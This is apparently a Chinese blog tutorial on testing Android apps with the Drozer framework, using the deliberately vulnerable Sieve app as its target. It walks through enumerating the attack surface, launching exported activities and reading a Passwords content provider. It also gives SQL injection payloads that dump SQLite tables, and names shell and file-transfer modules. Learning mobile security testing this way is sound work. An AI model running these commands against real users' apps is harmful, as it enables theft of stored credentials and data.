標籤:android style blog http color 使用 io 檔案
一、安裝與啟動1. 安裝
第一步:從http://mwr.to/drozer下載Drozer (Windows Installer)
第二步:在Android裝置中安裝agent.apk
adb install agent.apk
2. 啟動
第一步:在PC上使用adb進行連接埠轉寄,轉寄到Drozer使用的連接埠31415
adb forward tcp:31415 tcp:31415
第二步:在Android裝置上開啟Drozer Agent
選擇embedded server-enable
第三步:在PC上開啟Drozer console
drozer console connect
二、測試步驟
1.擷取包名
dz> run app.package.list -f sievecom.mwr.example.sieve
2.擷取應用的基本資料
run app.package.info -a com.mwr.example.sieve
3.確定攻擊面
run app.package.attacksurface com.mwr.example.sieve
4.Activity
(1)擷取activity資訊
run app.activity.info -a com.mwr.example.sieve
(2)啟動activity
run app.activity.start --component com.mwr.example.sievedz> help app.activity.startusage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY][--component PACKAGE COMPONENT] [--data-uri DATA_URI][--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]][--mimetype MIMETYPE]
5.Content Provider
(1)擷取Content Provider資訊
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(資料泄露)
先擷取所有可以訪問的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve
擷取各個Uri的資料:
run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查詢到資料說明存在漏洞
(3)Content Providers(SQL注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "‘"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "‘"
報錯則說明存在SQL注入。
列出所有表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table‘;--"
擷取某個表(如Key)中的資料:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
(4)同時檢測SQL注入和目錄遍曆
run scanner.provider.injection -a com.mwr.example.sieverun scanner.provider.traversal -a com.mwr.example.sieve
6.Service
(1)擷取service詳情
run app.service.info -a com.mwr.example.sieve
7.其它模組
shell.start 在裝置上開啟一個互動shelltools.file.upload / tools.file.download 上傳/下載檔案到裝置tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進位檔案